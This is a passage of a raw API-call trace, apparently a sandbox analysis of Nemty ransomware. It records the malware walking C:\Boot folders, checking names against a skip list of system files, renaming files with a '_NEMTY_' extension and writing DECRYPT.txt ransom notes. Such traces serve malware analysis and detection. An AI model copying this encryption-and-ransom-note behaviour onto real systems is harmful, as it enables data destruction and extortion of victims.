Flags=0x0, Size=0x40) returned 0x6345df0 [0045.612] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0045.612] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0045.612] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9edd0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0045.612] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0045.612] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0045.612] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0045.612] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0045.612] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0045.612] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0045.612] MoveFileW (lpExistingFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), lpNewFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui._NEMTY_kGOBjgD_" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui._nemty_kgobjgd_")) returned 0 [0045.612] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0045.612] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0045.612] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0045.612] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0045.612] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0045.612] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941f8 | out: hHeap=0x4f90000) returned 1 [0045.612] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0045.612] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0045.612] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xced0b670, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xced0b670, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xced0b670, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0045.612] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0045.612] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0045.612] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0045.612] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0045.612] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0045.612] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0045.613] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0045.613] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0045.613] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0045.613] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0045.613] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0045.613] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0045.613] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0045.613] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0045.613] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0045.613] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0045.613] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0045.613] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0045.613] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0045.613] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0045.613] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0045.613] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0045.613] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0045.613] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0045.613] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9eda8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0045.613] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0045.613] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0045.613] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0045.613] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0045.613] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9eda8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0045.613] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0045.613] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0045.613] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0045.613] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0045.613] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0045.613] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0045.613] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9eda8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0045.613] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0045.613] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0045.613] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0045.614] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0045.614] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9edf8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0045.614] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0045.614] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0045.614] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0045.614] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0045.614] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0045.614] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xced0b670, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xced0b670, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xced0b670, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0045.614] FindClose (in: hFindFile=0x3423970 | out: hFindFile=0x3423970) returned 1 [0045.614] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0045.614] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0045.614] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0045.614] FindNextFileW (in: hFindFile=0x34239b0, lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x34491d8, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0045.614] lstrcmpiW (lpString1="pt-BR", lpString2=".") returned 1 [0045.614] lstrcmpiW (lpString1="pt-BR", lpString2="..") returned 1 [0045.614] lstrcmpiW (lpString1="pt-BR", lpString2="...") returned 1 [0045.614] lstrcmpiW (lpString1="pt-BR", lpString2="windows") returned -1 [0045.614] lstrcmpiW (lpString1="pt-BR", lpString2="$RECYCLE.BIN") returned 1 [0045.614] lstrcmpiW (lpString1="pt-BR", lpString2="rsa") returned -1 [0045.614] lstrcmpiW (lpString1="pt-BR", lpString2="NTDETECT.COM") returned 1 [0045.614] lstrcmpiW (lpString1="pt-BR", lpString2="ntldr") returned 1 [0045.614] lstrcmpiW (lpString1="pt-BR", lpString2="MSDOS.SYS") returned 1 [0045.614] lstrcmpiW (lpString1="pt-BR", lpString2="IO.SYS") returned 1 [0045.614] lstrcmpiW (lpString1="pt-BR", lpString2="boot.ini") returned 1 [0045.614] lstrcmpiW (lpString1="pt-BR", lpString2="boot.ini") returned 1 [0045.614] lstrcmpiW (lpString1="pt-BR", lpString2="AUTOEXEC.BAT") returned 1 [0045.614] lstrcmpiW (lpString1="pt-BR", lpString2="ntuser.dat") returned 1 [0045.614] lstrcmpiW (lpString1="pt-BR", lpString2="desktop.ini") returned 1 [0045.614] lstrcmpiW (lpString1="pt-BR", lpString2="CONFIG.SYS") returned 1 [0045.614] lstrcmpiW (lpString1="pt-BR", lpString2="RECYCLER") returned -1 [0045.614] lstrcmpiW (lpString1="pt-BR", lpString2="BOOTSECT.BAK") returned 1 [0045.614] lstrcmpiW (lpString1="pt-BR", lpString2="bootmgr") returned 1 [0045.615] lstrcmpiW (lpString1="pt-BR", lpString2="programdata") returned 1 [0045.615] lstrcmpiW (lpString1="pt-BR", lpString2="appdata") returned 1 [0045.615] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pt-BR", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0045.615] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pt-BR", cchWideChar=5, lpMultiByteStr=0x653f8d0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pt-BR", lpUsedDefaultChar=0x0) returned 5 [0045.615] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pt-BR", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0045.615] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pt-BR", cchWideChar=5, lpMultiByteStr=0x653f8d0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pt-BR", lpUsedDefaultChar=0x0) returned 5 [0045.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0045.615] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0045.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0045.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0045.615] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0045.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0045.615] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed80, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0045.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0045.615] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0045.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0045.615] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0045.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0045.615] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0045.615] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\boot\\pt-br\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0045.615] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0045.616] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0045.616] WriteFile (in: hFile=0x3c0, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f880, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f880*=0xef8, lpOverlapped=0x0) returned 1 [0045.616] CloseHandle (hObject=0x3c0) returned 1 [0045.616] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0045.617] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0045.617] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0045.617] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0045.617] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0045.617] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0045.617] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0045.617] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0045.617] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9edf8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0045.617] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0045.617] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0045.617] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0045.617] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0045.617] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0045.617] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0045.617] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\boot\\pt-br\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0045.618] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0045.618] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0045.618] WriteFile (in: hFile=0x3c0, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0045.618] CloseHandle (hObject=0x3c0) returned 1 [0045.619] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0045.619] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0045.619] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345598 [0045.619] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*.*", lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xcee3c170, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcee3c170, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423970 [0045.619] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0045.619] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xcee3c170, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcee3c170, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.619] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0045.619] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0045.619] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0045.619] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0045.619] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0045.619] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="...") returned 1 [0045.619] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="windows") returned -1 [0045.619] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="$RECYCLE.BIN") returned 1 [0045.619] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="rsa") returned -1 [0045.619] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="NTDETECT.COM") returned -1 [0045.619] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntldr") returned -1 [0045.619] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="MSDOS.SYS") returned -1 [0045.619] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="IO.SYS") returned -1 [0045.619] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0045.619] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0045.619] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="AUTOEXEC.BAT") returned 1 [0045.620] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat") returned -1 [0045.620] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="desktop.ini") returned -1 [0045.620] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="CONFIG.SYS") returned -1 [0045.620] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="RECYCLER") returned -1 [0045.620] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="BOOTSECT.BAK") returned -1 [0045.620] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgr") returned 1 [0045.620] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="programdata") returned -1 [0045.620] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="appdata") returned 1 [0045.620] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0045.620] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0045.620] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f590, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0045.620] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0045.620] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0045.620] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f590, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0045.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0045.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0045.620] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0045.620] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0045.620] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f5e0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0045.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0045.620] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0045.620] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", 